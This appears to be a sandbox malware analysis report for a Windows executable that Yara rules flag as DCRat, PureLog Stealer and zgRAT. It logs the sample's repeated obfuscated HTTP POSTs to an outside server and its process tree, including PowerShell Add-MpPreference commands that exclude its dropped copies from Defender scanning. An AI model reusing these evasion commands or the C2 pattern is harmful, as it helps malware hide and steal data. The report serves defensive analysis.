Jan 3, 2025 18:28:50.299393892 CET	2576	OUT	Data Raw: 5b 51 5e 5a 58 5b 50 50 54 5b 59 5a 5b 50 57 5c 5f 51 5a 58 52 5d 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q^ZX[PPT[YZ[PW\_QZXR]P@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+.&" 2?$C>]1$7&'/"*7;+$$?U<9#Y'$X.
Jan 3, 2025 18:28:50.641499996 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:50.772162914 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	57448	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:50.894439936 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:51.252531052 CET	2576	OUT	Data Raw: 5e 56 5e 5d 5d 59 55 5f 54 5b 59 5a 5b 5e 57 5d 5f 50 5a 58 52 53 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^V^]]YU_T[YZ[^W]_PZXRSPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&D)."\<$<=(5%'5Y1>5'6#<\0:4$/+#Y'$X.
Jan 3, 2025 18:28:51.583595037 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:51.718172073 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	57449	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:51.882518053 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:52.236867905 CET	2576	OUT	Data Raw: 5b 5d 5e 5e 58 57 55 5a 54 5b 59 5a 5b 52 57 52 5f 5d 5a 5c 52 5c 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: []^^XWUZT[YZ[RWR_]Z\R\PF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&D(X=") %>8*$'%',!Q"764')'<#<)#Y'$X.5
Jan 3, 2025 18:28:52.579243898 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:52.706768990 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	57450	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:52.830591917 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:53.190128088 CET	2576	OUT	Data Raw: 5e 56 5b 58 5d 5c 50 5c 54 5b 59 5a 5b 5f 57 5a 5f 5c 5a 59 52 55 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^V[X]\P\T[YZ[_WZ_\ZYRUPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+.!!:<R&?/=8.^0'&%Y&"45U#39 B&,0<9#Y'$X.
Jan 3, 2025 18:28:53.510637999 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:53.641503096 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	57451	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:53.767236948 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:54.111875057 CET	2576	OUT	Data Raw: 5b 53 5b 5a 5d 5a 55 5d 54 5b 59 5a 5b 5e 57 59 5f 51 5a 5a 52 56 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S[Z]ZU]T[YZ[^WY_QZZRVPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&A+1\"8W& C*(6'')[2?W57"78$)A0?+9#Y'$X.
Jan 3, 2025 18:28:54.454133987 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:54.588072062 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	57452	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:54.706382990 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:55.065052986 CET	2576	OUT	Data Raw: 5b 52 5e 5d 58 5b 55 5a 54 5b 59 5a 5b 5e 57 5a 5f 53 5a 5e 52 52 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R^]X[UZT[YZ[^WZ_SZ^RRPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+=)5\8$<(A*;)0')&66>#+?0 3/,S(#Y'$X.
Jan 3, 2025 18:28:55.399074078 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:55.529263973 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	57454	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:55.665174961 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:56.018091917 CET	2576	OUT	Data Raw: 5b 50 5e 50 58 5a 55 5c 54 5b 59 5a 5b 5f 57 5d 5f 56 5a 5e 52 51 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [P^PXZU\T[YZ[_W]_VZ^RQPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?1!90&(=+)$4![&>!'&7^,$_<D$(<#Y'$X.
Jan 3, 2025 18:28:56.341511965 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:56.470163107 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	57455	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:56.595877886 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:56.940021038 CET	2576	OUT	Data Raw: 5e 50 5b 5b 58 57 55 5b 54 5b 59 5a 5b 56 57 59 5f 54 5a 5e 52 55 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^P[[XWU[T[YZ[VWY_TZ^RUPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&E?>!\$T&<#=>[%$-2?1W57% ;($),@$$W<#Y'$X.%
Jan 3, 2025 18:28:57.277283907 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:57.410876036 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	57456	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:57.539011955 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:57.893764973 CET	2576	OUT	Data Raw: 5b 52 5b 5a 5d 5b 50 50 54 5b 59 5a 5b 51 57 5a 5f 52 5a 54 52 54 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R[Z][PPT[YZ[QWZ_RZTRTPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&C<15T%Z;>86Z'![19P6'&7 Y'+3#<9#Y'$X.9
Jan 3, 2025 18:28:58.248367071 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:58.381906986 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	57457	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:58.503361940 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:59.206984997 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:29:09.220582008 CET	166	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Jan 3, 2025 18:29:31.575922966 CET	2576	OUT	Data Raw: 5b 55 5b 5f 58 5f 55 5a 54 5b 59 5a 5b 56 57 5c 5f 55 5a 5d 52 5d 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [U[_X_UZT[YZ[VW\_UZ]R]PI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&D<.!$U%<>>^'%&<=Q"B9#+<Y''$/'))#Y'$X.%

Target ID:	0
Start time:	12:26:54
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\lEwK4xROgV.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lEwK4xROgV.exe"
Imagebase:	0x920000
File size:	3'966'976 bytes
MD5 hash:	6275C7746A9CE8E5E2FC05271E47BAC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1655955848.0000000000922000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 3300, Parent PID: 3716

General

Target ID:	7
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat"
Imagebase:	0x7ff794950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:26:59
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:27:00
Start date:	03/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff735fa0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:27:01
Start date:	03/01/2025
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff69f660000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:27:06
Start date:	03/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:27:10
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe"
Imagebase:	0x980000
File size:	3'966'976 bytes
MD5 hash:	6275C7746A9CE8E5E2FC05271E47BAC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000010.00000002.2902556731.000000000344A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Has exited:	false

